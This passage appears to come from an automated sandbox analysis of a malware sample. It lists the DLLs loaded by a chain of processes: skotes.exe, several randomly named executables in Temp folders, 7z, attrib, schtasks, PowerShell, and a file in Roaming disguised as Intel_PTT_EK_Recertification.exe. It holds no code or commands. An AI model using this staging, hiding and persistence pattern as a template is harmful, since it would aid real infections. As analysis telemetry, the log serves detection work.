Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016875001\4802836d37.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll	Jump to behavior
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Section loaded: apphelp.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016876001\d7691cd336.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: devobj.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016877001\c5bc1413d7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: windowscodecs.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: napinsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: pnrpnsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: wshbth.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: nlaapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: winrnr.dll
Source: C:\Users\user\AppData\Local\Temp\1016878001\5b3f6dd868.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1016879001\f1e68d5060.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\explorer.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\explorer.exe	Section loaded: userenv.dll
Source: C:\Windows\explorer.exe	Section loaded: msvcp140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140.dll
Source: C:\Windows\explorer.exe	Section loaded: vcruntime140_1.dll
Source: C:\Windows\explorer.exe	Section loaded: cryptbase.dll
Source: C:\Windows\explorer.exe	Section loaded: wininet.dll
Source: C:\Windows\explorer.exe	Section loaded: powrprof.dll
Source: C:\Windows\explorer.exe	Section loaded: umpdc.dll
Source: C:\Windows\explorer.exe	Section loaded: uxtheme.dll
Source: C:\Windows\explorer.exe	Section loaded: mswsock.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\explorer.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\explorer.exe	Section loaded: dnsapi.dll
Source: C:\Windows\explorer.exe	Section loaded: napinsp.dll
Source: C:\Windows\explorer.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\explorer.exe	Section loaded: wshbth.dll
Source: C:\Windows\explorer.exe	Section loaded: nlaapi.dll
Source: C:\Windows\explorer.exe	Section loaded: winrnr.dll
Source: C:\Windows\explorer.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\explorer.exe	Section loaded: explorerframe.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
